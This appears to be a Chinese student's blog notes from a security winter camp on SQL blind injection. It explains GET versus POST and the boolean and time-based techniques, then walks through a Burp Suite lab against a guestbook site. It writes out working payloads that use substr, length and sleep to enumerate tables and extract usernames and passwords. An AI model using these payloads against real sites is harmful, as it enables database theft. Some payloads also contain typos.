冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击

一、理论知识
【冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击】1.POST方法和GET方法
这其实是一个老生常谈的问题,我记得大一上的网页设计课上老师就反复强调过这两者的区别。
先放一下专业性的答案:

1.get和POST的本质区别
Get是向服务器发索取数据的一种请求,而Post是向服务器提交数据的一种请求
2.服务器端获取值的方法
get方式提交的数据,服务器端使用request.QueryString获取变量的值
post方式提交的数据,服务器端使用request.Form获取数据
3.安全性
get方式安全性低,post方式较安全。但是post方式执行效率要比get方式差一些。
4.机制
get是把参数数据队列加到提交表单的action属性所指的URL中,如:http://www.xxx.com?sessonid=db23434&name=hongten&age=20。在URl中,值和表单南日各个字段一一对应,并且这些在URl中对用户来说是可见的,即用户时可以看到的。如:name=hongten。
post是通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到action属性所指的URL地址,对于用户来说,这是透明的。
5.大小
URL不存在参数上限的问题,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)。对于其他浏览器,如Netscape、FireFox等,理论上没有长度限制,其限制取决于操作系统的支持
理论上讲,POST是没有大小限制的,HTTP协议规范也没有进行大小限制,说“POST数据量存在80K/100K的大小限制”是不准确的,POST数据是没有限制的,起限制作用的是服务器的处理程序的处理能力。
那我在这里简单明了的从搞安全的角度总结一下:
GET方法是在URL上输入payload;
POST方法是在表单上(就是页面上要你输入内容的框框)输入payload。
2.盲注
1.所谓盲注,就是后台开放者屏蔽了错误的信息,我们看不到任何的反馈提示,我们只能通过猜测。
2.盲注有两种类型,布尔盲注和时间盲注。
布尔盲注是根据页面是否报错来判断猜测是否正确;时间盲注是通过判断页面响应是否有延迟来判断猜测是否正确(正确则页面回显延时,错误则页面立刻回显)。
3.常用的函数
length():返回字符串m的长度,用于判断长度。例如:length(database())>=8
substr():取字符串m的左边第一个字符,1个字子长,用于判断字符。例如:substr(database(),1,1)=‘s’,substr(database(),2,1)=‘e’
  • substr()函数有三个参数位置,“database()”是指猜测的是数据库名,第一个“1”是指猜测数据库名的第一个字母,第二个“1”是指一次猜一个。
if(exp1,exp2,exp3): 如果exp1正确,则执行exp2,否则执行exp3
sleep(m):延迟m秒
三、实验
后面的实验截图比较多,所以在实验开始前,我先进行总结。
这里展示两个实验,分别通过布尔盲注和时间盲注两种方式对book网站进行注入。
是基于POST方法的手工注入,结合Burpsuite进行字典爆破。
  • 两种盲注的方式,除了payload语法不同之外,步骤都是一样的;
  • 唯一的区别就是burpsuite查看结果的方式不同,布尔盲注是通过看“长度”,而时间盲注是通过看“接收响应计数”。
1.对book网站进行布尔盲注
1.首先,注册一个账号:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

2.使用burpsuite进行抓包:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

3.将包发送到Repeater,点击【重发器】,查看【rander】,可以看到发送正常的包后的回显为“test”:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

4.判断注入点。页面没有回显时表示报错:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

5.判断数据库名长度:
'and length(database())>=9–+冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

6.判断数据库名。
将包发送给测试器:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

可以看到有三个位置被标注了,我们先清除:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

重新标记位置,然后选择攻击类型:
and substr(database(),1,1)=‘a’–+
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

选择荷载:冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

可以看到数据库名为guestbook:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

7.爆数据表名。
Message:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

User:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

8.爆字段名。
Id
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

Role:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

Username:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

Password:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

9.爆字段内容。
Username:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

Password:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

2.对book网站进行时间盲注实战
前面的步骤和昨天的一样,直接开始从时间注入payload开始。
1.判断数据库长度。由于测试>9时页面立马响应,所以可以判断出数据库长度为9:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

2.判断数据库名。除了payload不一样,步骤和布尔盲注都一样。由于是时间盲注,所以查看结果的时候,需要通过响应的时长来判断:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

可以看到数据库名为guestbook:
冬令营线上直播学习笔记|冬令营线上直播学习笔记3——SQL注入盲注攻击
文章图片

3.后面的步骤都一样了,这里只展示一下payload:
爆数据表名:and if(substr((select table_name from information_schema.tables where table_schema=‘guestbook’ limit 0,1),1,1)=‘a’,sleep(6),1)
爆字段名:and if(substr((select column_name from information_schema.columns where table_schema=‘guestbook’ and table_name='user’limit 0,1),1,1)=‘a’,sleep(6),1)
爆字段内容:and if(substr(select group_concat(username) from guestbook.user limit 0,1),1,1)=‘a’,sleep(6),1)
and if(substr(select group_concat(password) from guestbool.user limit 0,1),1,1)=‘a’,sleep(6),1)
盲注就暂时讲到这里~

    推荐阅读